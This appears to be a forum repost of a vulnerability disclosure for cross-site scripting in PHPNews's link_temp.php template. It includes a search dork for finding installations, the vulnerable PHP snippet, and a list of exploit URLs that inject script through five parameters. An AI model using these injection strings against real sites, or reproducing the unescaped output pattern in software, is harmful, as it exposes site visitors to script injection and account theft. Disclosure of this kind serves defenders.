/hvaonline/posts/list/13.html JForum - http://www.jforum.net http://newsphp.sourceforge.net Found by: Detefix dork: inurl:phpnews ----- - Vulnerable Code: <?php print<<<EOT <a href="$url?action=fullnews&showcomments=1&id=$id">$subject</a> by $username on $time<br /> ----- - Exploits: http://[target]/[path-to-PHPNews]/templates/link_temp.php?url=">[XSS] http://[target]/[path-to-PHPNews]/templates/link_temp.php?id=">[XSS] http://[target]/[path-to-PHPNews]/templates/link_temp.php?subject=[XSS] http://[target]/[path-to-PHPNews]/templates/link_temp.php?username=[XSS] http://[target]/[path-to-PHPNews]/templates/link_temp.php?time=[XSS]]]> /hvaonline/posts/list/5180.html#30448 /hvaonline/posts/list/5180.html#30448 GMT